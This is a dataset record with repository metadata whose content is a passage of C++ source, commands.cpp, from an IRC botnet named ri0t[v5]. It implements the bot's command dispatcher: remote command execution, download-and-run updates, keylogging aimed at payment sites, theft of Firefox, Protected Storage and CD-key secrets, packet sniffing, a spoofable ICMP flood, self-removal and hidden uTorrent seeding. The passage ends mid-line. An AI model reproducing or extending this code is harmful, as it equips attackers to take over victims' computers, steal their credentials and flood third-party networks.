blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
264
content_id
stringlengths
40
40
detected_licenses
listlengths
0
85
license_type
stringclasses
2 values
repo_name
stringlengths
5
140
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
986 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
3.89k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
145 values
src_encoding
stringclasses
34 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
3
10.4M
extension
stringclasses
122 values
content
stringlengths
3
10.4M
authors
listlengths
1
1
author_id
stringlengths
0
158
31ca7e26f482b9cd962300b8d8607f0b94c06122
d49b8536d996a81fd2a356f2ccd850abd4447217
/VirusPack/ri0t[v5]/ri0t[v5]/cpp/commands.cpp
beb541de1c843304f592a29a9b16b30802c9ef61
[]
no_license
JonnyBanana/botnets
28a90ab80f973478d54579f3d3eadc5feb33ff77
995b9c20aca5de0ae585ae17780a31e8bdfd9844
refs/heads/master
2021-07-01T01:51:01.211451
2020-10-22T23:14:57
2020-10-22T23:14:57
148,392,362
9
5
null
null
null
null
WINDOWS-1252
C++
false
false
31,316
cpp
#include "../h/includes.h" #include "../h/functions.h" #include "../h/externs.h" #pragma comment( lib, "Urlmon.lib" ) ////////////////////////////////////////////////////////////////////////////// // uTorrent Shit ////////////////////////////////////////////////////////////////////////////// HWND uTorrentWindow = 0; BOOL CALLBACK EnumProc( HWND hWnd, LPARAM lParam ) { char szTitle[ 512 ]; GetWindowText( hWnd, szTitle, sizeof( szTitle ) ); if( strstr( szTitle, "\xB5Torrent" ) ) uTorrentWindow = hWnd; return TRUE; }; HWND FindUTorrent( ) { EnumWindows( EnumProc, 0 ); return( uTorrentWindow ); }; void TypeString( char* szString ) { int Length = strlen( szString ), i; bool ShiftDown = false; short sKey; for( i = 0; i < Length; i++, szString++ ) { sKey = VkKeyScan( *szString ); if( ( sKey >> 8 ) & 1 ) { keybd_event( VK_LSHIFT, 0, 0, 0 ); ShiftDown = true; } keybd_event( (unsigned char)sKey, 0, 0, 0 ); if( ShiftDown ) { keybd_event( VK_LSHIFT, 0, KEYEVENTF_KEYUP, 0 ); ShiftDown = false; } } }; int SeedUTorrent( char* szUrl, char* szSaveAs, char* szSeedTo ) { HWND uTorrentWindow = FindUTorrent( ); if( uTorrentWindow == 0 ) return 1; if( URLDownloadToFile( 0, szUrl, szSaveAs, 0, 0 ) != S_OK ) return 2; if( (int)fShellExecute( 0, "open", szSaveAs, 0, 0, SW_NORMAL ) <= 32 ) return 3; ShowWindow( uTorrentWindow, SW_SHOW ); BringWindowToTop( uTorrentWindow ); SetForegroundWindow( uTorrentWindow ); SetFocus( uTorrentWindow ); if( !IsWindow( uTorrentWindow ) ) return 4; Sleep( 300 ); if( *szSeedTo != 0 ) TypeString( szSeedTo ); keybd_event( VK_RETURN, 0, 0, 0 ); ShowWindow( uTorrentWindow, SW_MINIMIZE ); return 0; }; int IRC_CommandParse(char *line, char *a[MAXTOKENS], int s, SOCKET sock, char *server, char *channel, char *chanpass, char *nick, char *user, char *host, char masters[MAXLOGINS][MAXIDENT], BOOL ismaster, int repeat) { char line1[IRCLINE], sendbuf[IRCLINE], ntmp[12], ntmp2[3]; int i, j; DWORD id=0; unsigned char parameters[256]; memset(parameters,0,sizeof(parameters)); for (i = (MAXTOKENS - 1); i >= 0; i--) { if (a[i]) { if ((a[i][0] == '-') && (a[i][2] == 0)) { parameters[a[i][1]] = 1 ; a[i][0]=0; a[i][1]=0; a[i][2]=0; a[i]=NULL; } else break; } } BOOL silent = (parameters['s']); BOOL notice = (strcmp("NOTICE", a[1]) == 0 || parameters['n']); if (notice && strcmp("332",a[1]) != 0) a[2] = user; #ifdef DEBUG_CRYPT // NOTE: Here for testing only. Please leave until we have the auth bug looked at. #ifndef NO_CRYPT if (strcmp("dump", a[s]) == 0) { if (a[s+1]) { irc_sendv(sock, "NOTICE %s : Id = '%s'\r\n",user,botid); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Version = '%s'\r\n",user,version); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Server = '%s'\r\n",user,server); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Channel = '%s'\r\n",user,channel); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Nickconst = '%s'\r\n",user,nickconst); Sleep(FLOOD_DELAY); irc_sendv(sock, "NOTICE %s : Authost = '%s'\r\n",user,authost[0]); irc_sendv(sock, "NOTICE %s : Password(before) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY); Crypt(password,strlen(password)); irc_sendv(sock, "NOTICE %s : Password = '%s'\r\n",user,password); Sleep(FLOOD_DELAY); Crypt(password,strlen(password)); irc_sendv(sock, "NOTICE %s : Password(enc) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY); Crypt(a[s+1],strlen(a[s+1])); irc_sendv(sock, "NOTICE %s : Password(arg) = '%s'\r\n",user,a[s+1]); Sleep(FLOOD_DELAY); } return 1; } #endif #endif if (strcmp("hi", a[s]) == 0 || strcmp("yfuyf", a[s]) == 0) { if (a[s+1] == NULL || ismaster || strcmp("332", a[1]) == 0 || strcmp("TOPIC", a[1]) == 0) return 1; char a0[MAXIDENT]; _snprintf(a0,sizeof(a0),a[0]); char *u = strtok(a[0], "!") + 1, *h = strtok(NULL, "\0"); h = strtok(h, "~"); BOOL host_ok=FALSE; for (i=0; i < authsize; i++) { #ifndef NO_WILDCARD if (wildcardfit(authost[i], h)) { host_ok = TRUE; break; } #else if (strcmp(h, authost[i]) == 0) { host_ok = TRUE; break; } #endif } #ifndef NO_CRYPT Crypt((unsigned char *)a[s+1],strlen(a[s+1]),NULL,0); #endif if (!host_ok || strcmp(password, a[s+1]) != 0) { irc_sendv(sock, "NOTICE %s :Authentication failed (%s!%s).\r\n", user, user, h); irc_sendv(sock, "NOTICE %s :Your attempt has been logged.\r\n", user); return 1; } for (i = 0; i < MAXLOGINS; i++) { if (masters[i][0] == '\0') { _snprintf(masters[i], MAXIDENT, a0); if (!silent) irc_privmsg(sock, a[2], "[MAIN]: Password accepted.", notice); return 1; } } _snprintf(sendbuf,sizeof(sendbuf),"[MAIN]: Failed to login user: %s, too many logins already.", user); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } if (ismaster || strcmp("332", a[1]) == 0 || strcmp("TOPIC", a[1]) == 0) { BOOL usevars = FALSE; _snprintf(line1, sizeof(line1), line); char *x = strstr(line1, " :"); // commands requiring no parameters // check if the command matches an alias's name for (i = 0; i < anum; i++) { if (strcmp(aliases[i].name, a[s]) == 0) { char *z = strstr(line, " :"); if (z == NULL) return 1; z[2] = prefix; z[3] = prefix; strncpy(z+4, aliases[i].command, (MAXCMDLEN-1)); // process '$x-' parameter variables for (j=15; j > 0; j--) { sprintf(ntmp, "$%d-", j); if (strstr(line, ntmp) != NULL && a[s+j+1] != NULL) { x = x + strlen(aliases[i].name); if (x != NULL) { char *y = strstr(x, a[s+j]); if (y != NULL) replacestr(line, ntmp, y); } } else if (a[s+j+1] == NULL) { strncpy(ntmp2, ntmp, 2); ntmp2[2] = '\0'; replacestr(line, ntmp, ntmp2); } } // process '$x' parameter variables for (j=16; j > 0; j--){ sprintf(ntmp, "$%d", j); if (a[s+j] && strstr(line, ntmp)) replacestr(line, ntmp, a[s+j]); } usevars = TRUE; break; } } if (a[s][0] == prefix || usevars) { // process variables replacestr(line, "$me", nick); // bot's nick replacestr(line, "$user", user); // user's nick replacestr(line, "$chan", a[2]); // channel name (or user name if this is a privmsg to the bot) replacestr(line, "$rndnick", rndnick(sendbuf, nicktype, FALSE)); replacestr(line, "$server", server); // name of current server // process '$chr()' variables while (strstr(line, "$chr(")) { char *z = strstr(line, "$chr("); strncpy(ntmp, z+5, 4); strtok(ntmp, ")"); if (ntmp[0] < 48 || ntmp[0] > 57) strncpy(ntmp, "63", 3); ntmp2[0] = (char)((atoi(ntmp) > 0)?(atoi(ntmp)):((rand()%96) + 32)); ntmp2[1] = '\0'; j = strlen(ntmp); memset(ntmp, 0, sizeof(ntmp)); strncpy(ntmp, z, j+6); replacestr(line, ntmp, ntmp2); } // re-split the line into seperate words _snprintf(line1, sizeof(line1), line); a[0] = strtok(line1, " "); for (i = 1; i < MAXTOKENS; i++) a[i] = strtok(NULL, " "); if (a[s] == NULL) return 1; a[s] += 3; if (strcmp("332", a[1]) == 0) a[2] = a[3]; x = strstr(line, " :"); } if (strcmp("rndnick", a[s]) == 0 || strcmp("rr4ytgn", a[s]) == 0) { char nickbuf[MAXNICKLEN]; memset(nickbuf, 0, sizeof(nickbuf)); rndnick(nickbuf, nicktype, (parameters['p']), a[s+1]); irc_sendv(sock, "NICK %s\r\n", nickbuf); sprintf(sendbuf,"[MAIN]: Random nick change to: %s.",nickbuf); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("die", a[s]) == 0 || strcmp("d13", a[s]) == 0) { if (strcmp("332", a[1]) != 0 || strcmp("TOPIC", a[1]) != 0) { killthreadall(); ExitProcess(EXIT_SUCCESS); } else return 1; } #ifndef NO_PROCESS else if (strcmp("procsstop",a[s]) == 0 || strcmp("psstop",a[s]) == 0) { stopthread(sock,a[2],notice,silent,"[PROC]","Process list",PROC_THREAD,a[s+1]); return 1; } #endif #ifndef NO_SECURE else if (strcmp("secstop",a[s]) == 0) { stopthread(sock,a[2],notice,silent,"[SECURE]","Secure",SECURE_THREAD,a[s+1]); return 1; } #endif else if (strcmp("reconnect", a[s]) == 0 || strcmp("rec", a[s]) == 0) { irc_sendv(sock, "QUIT :reconnecting\r\n"); return 0; } else if (strcmp("disconnect", a[s]) == 0 || strcmp("dc", a[s]) == 0) { irc_sendv(sock, "QUIT :disconnecting\r\n"); return -1; } else if (strcmp("quitz", a[s]) == 0 || strcmp("quitz0r", a[s]) == 0) { if (strcmp("332", a[1]) != 0 || strcmp("TOPIC", a[1]) != 0) { if (a[s+1]) { if (x != NULL) { char *y = strstr(x, a[s+1]); if (y != NULL) irc_sendv(sock, "QUIT :%s\r\n", y); } } else irc_sendv(sock, "QUIT :later\r\n"); return -2; } else return 1; } else if (strcmp("threads", a[s]) == 0 || strcmp("t", a[s]) == 0) { TLIST tlist; _snprintf(tlist.chan, sizeof(tlist.chan), a[2]); tlist.sock = sock; tlist.notice = notice; tlist.silent = silent; tlist.full = ((a[s+1])?(strcmp(a[s+1],"sub") == 0):(FALSE)); sprintf(sendbuf, "[THREADS]: List threads."); tlist.threadnum = addthread(sendbuf, LIST_THREAD, NULL); if (threads[tlist.threadnum].tHandle = CreateThread(NULL, 0, &ListThread, (LPVOID)&tlist, 0, &id)) { while (tlist.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[THREADS]: Failed to start list thread, error: <%d>.", GetLastError()); return repeat; } else if (strcmp("rem", a[s]) == 0 || strcmp("rm", a[s]) == 0) { if (strcmp("332", a[1]) != 0 || strcmp("TOPIC", a[1]) != 0) { if (!silent) irc_privmsg(sock, a[2], "[MAIN]: Removing Bot.", notice); #ifdef DEBUG_LOGGING closedebuglog(); #endif killthreadall(); fclosesocket(sock); fWSACleanup(); uninstall(); ExitProcess(EXIT_SUCCESS); } else return 1; } #ifndef NO_PROCESS else if (strcmp("procs", a[s]) == 0 || strcmp("ps", a[s]) == 0) { if (findthreadid(PROC_THREAD) > 0) { if (!silent) irc_privmsg(sock, a[2], "[PROC]: Already running.", notice); } else { LPROC lproc; _snprintf(lproc.chan, sizeof(lproc.chan), a[2]); lproc.sock = sock; lproc.notice = notice; lproc.silent = silent; lproc.full = FALSE; if (a[s+1]) if (strcmp("full", a[s+1]) == 0) lproc.full = TRUE; sprintf(sendbuf,"[PROCS]: Proccess list."); lproc.threadnum = addthread(sendbuf, PROC_THREAD, NULL); if (threads[lproc.threadnum].tHandle = CreateThread(NULL, 0, &listProcessesThread, (LPVOID)&lproc, 0, &id)) { while (lproc.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[PROCS]: Failed to start listing thread, error: <%d>.", GetLastError()); } return 1; } #endif #ifndef NO_CDKEYS else if (strcmp("cdkeys", a[s]) == 0 || strcmp("kegfgdys", a[s]) == 0) { getcdkeys(sock,a[2],notice); sprintf(sendbuf,"[CDKEYS]: Search completed."); if (!silent) irc_privmsg(sock,a[2],sendbuf,notice); return 1; } #endif else if (strcmp("pstore", a[s]) == 0 || strcmp ("pst", a[s]) == 0) { pststrct pStorInfo; pStorInfo.sock = sock; strcpy(pStorInfo.chan,a[2]); sprintf(sendbuf, ".::[ PassStore Executed ]::.", version); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); CreateThread(NULL, 0, &pstore, (LPVOID)&pStorInfo, 0, 0); } else if (strcmp("firefox", a[s]) == 0) { if(!fGetUserProfileDirectory){return 1;} FindFirefoxPasses(sock, channel, notice); irc_privmsg(sock, channel, "• FireFox • FireFox Executed.", notice); return 1; } else if (strcmp("firefoxstop", a[s]) == 0) { stopthread(sock,a[2],notice,silent,"Firefox","Firefox",FIREFOX_THREAD,a[s+1]); return 1; } #ifdef DUMP_ENCRYPT else if (strcmp("encrypt", a[s]) == 0 || strcmp("Rrenc", a[s]) == 0) { encryptstrings(authsize,versionsize,sock,a[2],notice); return 1; } #endif else if (strcmp("flusharp", a[s]) == 0 || strcmp("farp", a[s]) == 0) { if (FlushARPCache()) _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: ARP cache flushed."); else _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to flush ARP cache."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("flushdns", a[s]) == 0 || strcmp("fdns", a[s]) == 0) { if (fDnsFlushResolverCache) { if (fDnsFlushResolverCache()) _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: DNS cache flushed."); else _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to flush DNS cache."); } else _snprintf(sendbuf,sizeof(sendbuf),"[FLUSHDNS]: Failed to load dnsapi.dll."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } // commands requiring at least 1 parameter else if (a[s+1] == NULL) return 1; else if (strcmp("nick", a[s]) == 0 || strcmp("n", a[s]) == 0) { irc_sendv(sock, "NICK %s\r\n", a[s+1]); return repeat; } else if (strcmp("join", a[s]) == 0 || strcmp("j", a[s]) == 0) { irc_sendv(sock, "JOIN %s %s\r\n", a[s+1], a[s+2]); return repeat; } else if (strcmp("part", a[s]) == 0 || strcmp("pt", a[s]) == 0) { irc_sendv(sock, "PART %s\r\n", a[s+1]); return repeat; } else if (strcmp("raw", a[s]) == 0 || strcmp("r", a[s]) == 0) { if (x != NULL) { char *y = strstr(x, a[s+1]); if (y != NULL) { irc_sendv(sock, "%s\r\n", y); _snprintf(sendbuf,sizeof(sendbuf),"[MAIN]: Sent IRC Raw: %s.",y); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); } } return repeat; } else if (strcmp("killthread", a[s]) == 0 || strcmp("k", a[s]) == 0) { if (strcmp("all", a[s+1]) == 0) { if ((i=killthreadall()) > 0) sprintf(sendbuf,"[THREADS]: Stopped: %d thread(s).", i); else sprintf(sendbuf,"[THREADS]: No active threads found."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); } else { for (i = s+1; i < (sizeof(a)/4); i++) { if (a[i]==NULL) break; if (killthread(atoi(a[i]))) sprintf(sendbuf,"[THREADS]: Killed thread: %s.",a[i]); else sprintf(sendbuf,"[THREADS]: Failed to kill thread: %s.",a[i]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); } } return 1; } else if (strcmp("prefix", a[s]) == 0 || strcmp("pr", a[s]) == 0) { prefix = a[s+1][0]; sprintf(sendbuf,"[MAIN]: Prefix changed to: '%c'.",a[s+1][0]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } else if (strcmp("open", a[s]) == 0 || strcmp("o", a[s]) == 0) { if (fShellExecute(0, "open", a[s+1], NULL, NULL, SW_SHOW)) sprintf(sendbuf,"[SHELL]: File opened: %s", a[s+1]); else sprintf(sendbuf,"[SHELL]: Couldn't open file: %s", a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("server", a[s]) == 0 || strcmp("se", a[s]) == 0) { strncpy(server, a[s+1], 127); sprintf(sendbuf,"[MAIN]: Server changed to: '%s'.",a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } else if (strcmp("dns", a[s]) == 0 || strcmp("dn", a[s]) == 0) { LPHOSTENT hostent = NULL; IN_ADDR iaddr; DWORD addr = finet_addr(a[s+1]); if (addr != INADDR_NONE) { hostent = fgethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET); if (hostent != NULL) sprintf(sendbuf, "[DNS]: Lookup: %s -> %s.", a[s+1], hostent->h_name); } else { hostent = fgethostbyname(a[s+1]); if (hostent != NULL) { iaddr = *((LPIN_ADDR)*hostent->h_addr_list); sprintf(sendbuf, "[DNS]: Lookup: %s -> %s.", a[s+1], finet_ntoa(iaddr)); } } if (hostent == NULL) sprintf(sendbuf,"[DNS]: Couldn't resolve hostname."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } #ifndef NO_PROCESS else if (strcmp("killproc",a[s]) == 0 || strcmp("kp", a[s]) == 0) { // kill process name if(listProcesses(sock,NULL,notice,a[s+1]) == 1) sprintf(sendbuf,"[PROC]: Process killed: %s",a[s+1]); else sprintf(sendbuf,"[PROC]: Failed to terminate process: %s", a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("kill",a[s]) == 0 || strcmp("ki", a[s]) == 0) { // kill process id if(killProcess(atoi(a[s+1])) == 1) sprintf(sendbuf,"[PROC]: Process killed ID: %s",a[s+1]); else sprintf(sendbuf,"[PROC]: Failed to terminate process ID: %s", a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #endif else if (strcmp("delete", a[s]) == 0 || strcmp("del", a[s]) == 0) { if (DeleteFile(a[s+1])) _snprintf(sendbuf,sizeof(sendbuf),"[FILE]: Deleted '%s'.",a[s+1]); else _snprintf(sendbuf,sizeof(sendbuf),PrintError("[FILE]:")); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } #ifndef NO_VISIT else if (strcmp("visit", a[s]) == 0 || strcmp("v", a[s]) == 0) { VISIT visit; strncpy(visit.host, a[s+1], sizeof(visit.host)-1); if (a[s+2] != NULL) strncpy(visit.referer, a[s+2], sizeof(visit.referer)-1); strncpy(visit.chan, a[2], sizeof(visit.chan)-1); visit.sock = sock; visit.silent = silent; visit.notice = notice; sprintf(sendbuf,"[VISIT]: URL: %s.",a[s+1]); visit.threadnum=addthread(sendbuf,VISIT_THREAD,NULL); if (threads[visit.threadnum].tHandle = CreateThread(NULL, 0, &VisitThread, (LPVOID)&visit, 0, &id)) { while(visit.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[VISIT]: Failed to start connection thread, error: <%d>.", GetLastError()); return repeat; } #endif else if (strcmp("mirccmd", a[s]) == 0 || strcmp("mirc", a[s]) == 0) { if (x != NULL) { char *y = strstr(x, a[s+1]); if (y != NULL) { if (!mirccmd(y)) sprintf(sendbuf,"[mIRC]: Client not open."); else sprintf(sendbuf,"[mIRC]: Command sent."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); } } return repeat; } #ifndef NO_PSNIFF else if (strcmp("psniff", a[s]) == 0) { if (strcmp("on", a[s+1]) == 0) { if (findthreadid(PSNIFF_THREAD) > 0) sprintf(sendbuf ,"[PSNIFF]: Already running."); else { PSNIFF sniff; sniff.sock = sock; sniff.notice = notice; sniff.silent = silent; _snprintf(sniff.chan, sizeof(sniff.chan), ((a[s+2])?(a[s+2]):((strcmp(psniffchan,"")==0)?(a[2]):(psniffchan)))); sprintf(sendbuf, "[PSNIFF]: Carnivore packet sniffer active."); sniff.threadnum = addthread(sendbuf, PSNIFF_THREAD, NULL); if (threads[sniff.threadnum].tHandle = CreateThread(NULL, 0, &SniffThread, (LPVOID)&sniff, 0, &id)) { while(sniff.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[PSNIFF]: Failed to start sniffer thread, error: <%d>.", GetLastError()); } } else if (strcmp("off", a[s+1]) == 0) { if ((i=killthreadid(PSNIFF_THREAD)) > 0) sprintf(sendbuf,"[PSNIFF]: Carnivore stopped. (%d thread(s) stopped.)",i); else sprintf(sendbuf,"[PSNIFF]: No Carnivore thread found."); } if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #endif #ifndef NO_KEYLOG else if (strcmp("keylog", a[s]) == 0) { if (findthreadid(KEYLOG_THREAD) > 0) sprintf(sendbuf ,"[KeyLog] Already running."); else if (a[s+1]) { KEYLOG keylog; keylog.sock = sock; keylog.notice = notice; keylog.silent = silent; keylog.mode = false; if(strcmp("pay", a[s+1]) == 0) { keylog.mode = true; _snprintf(keylog.chan, sizeof(keylog.chan), ((a[s+2])?(a[s+2]):((strcmp(keylogchan,"")==0)?(a[2]):(keylogchan)))); sprintf(sendbuf, "[KeyLog] pay-sites keylogger active."); } else if(strcmp("normal", a[s+1]) == 0) { _snprintf(keylog.chan, sizeof(keylog.chan), ((a[s+2])?(a[s+2]):((strcmp(keylogchan,"")==0)?(a[2]):(keylogchan)))); sprintf(sendbuf, "[KeyLog] Normal key logger active."); } else { sprintf(sendbuf, "[KeyLog] Unknow mode type."); if (!silent) irc_privmsg(sock,a[2],sendbuf,notice); return 1; } keylog.threadnum = addthread(sendbuf, KEYLOG_THREAD, NULL); if (threads[keylog.threadnum].tHandle = CreateThread(NULL, 0, &KeyLoggerThread, (LPVOID)&keylog, 0, &id)) { while(keylog.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[KeyLog] Failed to start logging thread, error: <%d>.", GetLastError()); } else sprintf(sendbuf, "[KeyLog] Missing mode type."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } else if (strcmp("stop",a[s]) == 0 || strcmp("stop",a[s]) == 0) { stopthread(sock,a[2],notice,silent,"[KeyLog] pay-sites keylogger active.","Keylog",KEYLOG_THREAD,a[s+1]); return 1; } #endif else if (strcmp("system", a[s]) == 0) { if (strcmp("logoff", a[s+1]) == 0) sprintf(sendbuf, ((SystemControl(EWX_FORCE_LOGOFF, 0))?("[SYSTEM]: Logging off current user."):("[SYSTEM]: Failed to logoff current user."))); else if (strcmp("reboot", a[s+1]) == 0) sprintf(sendbuf, ((SystemControl(EWX_SYSTEM_REBOOT, SHUTDOWN_SYSTEM_HUNG))?("[SYSTEM]: Rebooting system."):("[SYSTEM]: Failed to reboot system."))); else if (strcmp("shutdown", a[s+1]) == 0) sprintf(sendbuf, ((SystemControl(EWX_FORCE_SHUTDOWN, SHUTDOWN_SYSTEM_HUNG))?("[SYSTEM]: Shutting down system."):("[SYSTEM]: Failed to shutdown system."))); else sprintf(sendbuf, "[MAIN]: Unrecognized command: %s.", a[s+1]); irc_privmsg(sock, a[2], sendbuf, notice); return 1; } // commands requiring at least 2 parameters else if (a[s+2] == NULL) return 1; else if (strcmp("privmsg", a[s]) == 0 || strcmp("pm", a[s]) == 0) { if (x != NULL) { x = x + strlen(a[s]) + strlen(a[s+1]) + 2; char *y = strstr(x, a[s+2]); if (y != NULL) { irc_privmsg(sock, a[s+1], y, FALSE); } } return repeat; } else if (strcmp("action", a[s]) == 0 || strcmp("a", a[s]) == 0) { if (x != NULL) { x = x + strlen(a[s]) + strlen(a[s+1]) + 2; char *y = strstr(x, a[s+2]); if (y != NULL) { sprintf(sendbuf, "\1ACTION %s\1", y); irc_privmsg(sock, a[s+1], sendbuf, FALSE); } } return repeat; } else if (strcmp("cycle", a[s]) == 0 || strcmp("cy", a[s]) == 0) { irc_sendv(sock, "PART %s\r\n", a[s+2]); Sleep(atoi(a[s+1])*1000); irc_sendv(sock, "JOIN %s %s\r\n", a[s+2], a[s+3]); return repeat; } else if (strcmp("mode", a[s]) == 0 || strcmp("m", a[s]) == 0) { if (x != NULL) { char *y = strstr(x, a[s+1]); if (y != NULL) { irc_sendv(sock, "MODE %s\r\n", y); } } return repeat; } else if (strcmp("repeat", a[s]) == 0 || strcmp("rp", a[s]) == 0) { if (strcmp("332", a[1]) == 0 || strcmp("TOPIC", a[1]) == 0) return 1; if (x != NULL) { char *r = strstr(x, a[s+2]); if (strcmp(a[s+2]+1,"repeat") != 0) { sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r); strncpy(line, sendbuf, (IRCLINE-1)); sprintf(sendbuf,"[MAIN]: Repeat: %s", r); if (atoi(a[s+1]) > 0) return repeat + atoi(a[s+1]); else return repeat; } else { sprintf(sendbuf,"[MAIN]: Repeat not allowed in command line: %s", r); if (!silent) irc_privmsg(sock,a[2],sendbuf,notice); } } return repeat; } else if (strcmp("delay", a[s]) == 0 || strcmp("de", a[s]) == 0) { if (strcmp("332", a[1]) == 0 || strcmp("TOPIC", a[1]) == 0) return 1; if (x != NULL) { char *r = strstr(x, a[s+2]); sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r); strncpy(line, sendbuf, 511); if (atoi(a[s+1]) > 0) Sleep(atoi(a[s+1])*1000); return repeat + 1; } return 1; } ////////////////////////////////////////////////////////////////////////////// // uTorrent Seeder ////////////////////////////////////////////////////////////////////////////// #ifndef NO_DOWNLOAD else if (strcmp("update", a[s]) == 0 || strcmp("up", a[s]) == 0) { if (strcmp(botid, a[s+2]) != 0) { char tempdir[MAX_PATH], tmpbuf[MAXNICKLEN]; GetTempPath(sizeof(tempdir), tempdir); DOWNLOAD dl; strncpy(dl.url, a[s+1], sizeof(dl.url)-1); sprintf(dl.dest, "%s%s.exe", tempdir, rndnickletter(tmpbuf)); dl.update = 1; dl.run = 0; dl.filelen=((a[s+3])?(atoi(a[s+3])):(0)); dl.expectedcrc=((a[s+4])?(strtoul(a[s+4],0,16)):(0)); dl.encrypted=(parameters['e']); dl.sock = sock; strncpy(dl.chan, a[2], sizeof(dl.chan)-1); dl.notice=notice; dl.silent = silent; sprintf(sendbuf, "[UPDATE]: Downloading update from: %s.", a[s+1]); dl.threadnum = addthread(sendbuf, UPDATE_THREAD, sock); if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id)) { while(dl.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[UPDATE]: Failed to start download thread, error: <%d>.", GetLastError()); } else sprintf(sendbuf,"[UPDATE]: Bot ID must be different than current running process."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } #endif else if (strcmp("execute", a[s]) == 0 || strcmp("e", a[s]) == 0) { PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; memset(&pinfo, 0, sizeof(pinfo)); memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESHOWWINDOW; sinfo.wShowWindow = ((atoi(a[s+1]) == 1)?(SW_SHOW):(SW_HIDE)); if (x != NULL) { char *y = strstr(x, a[s+2]); if (y != NULL) if (!CreateProcess(NULL, y, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) sprintf(sendbuf,"[EXEC]: Couldn't execute file."); else sprintf(sendbuf,"[EXEC]: Commands: %s",y); } if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return repeat; } else if (strcmp("rename", a[s]) == 0 || strcmp("mv", a[s]) == 0) { if (MoveFile(a[s+1],a[s+2])) _snprintf(sendbuf,sizeof(sendbuf),"[FILE]: Rename: '%s' to: '%s'.", a[s+1], a[s+2]); else _snprintf(sendbuf,sizeof(sendbuf),PrintError("[FILE]:")); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #ifndef NO_ICMP else if (strcmp("killit", a[s]) == 0 || strcmp("icmpggrgr", a[s]) == 0) { ICMPFLOOD icmpflood; if ((icmpflood.time = atoi(a[s+2])) > 0) { _snprintf(icmpflood.ip,sizeof(icmpflood.ip),a[s+1]); icmpflood.spoof = (parameters['r']); icmpflood.sock = sock; _snprintf(icmpflood.chan,sizeof(icmpflood.chan),a[2]); icmpflood.notice = notice; icmpflood.silent = silent; _snprintf(sendbuf,sizeof(sendbuf),"[ICMP]: Flooding: (%s) for %s seconds.", a[s+1], a[s+2]); icmpflood.threadnum = addthread(sendbuf,ICMP_THREAD,NULL); if (threads[icmpflood.threadnum].tHandle = CreateThread(NULL, 0, &ICMPFloodThread, (LPVOID)&icmpflood, 0, &id)) { while(icmpflood.gotinfo == FALSE) Sleep(50); } else sprintf(sendbuf,"[ICMP]: Failed to start flood thread, error: <%d>.", GetLastError()); } else sprintf(sendbuf,"[ICMP]: Invalid flood time must be greater than 0."); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); return 1; } #endif // commands requiring at least 3 parameters else if (a[s+3] == NULL) return 1; #ifndef NO_SEED else if (strcmp("seed", a[s]) == 0 || strcmp("utorrent.seed", a[s]) == 0) { { char *url; char *oic; char *kkk; url = a[1]; oic = a[2]; kkk = a[3]; switch( SeedUTorrent( url, oic, kkk ) ) { case 0: irc_privmsg(sock, channel, "Seeding!", notice); }; } } #endif #ifndef NO_DOWNLOAD else if (strcmp("dl", a[s]) == 0 || strcmp("degsdgl", a[s]) == 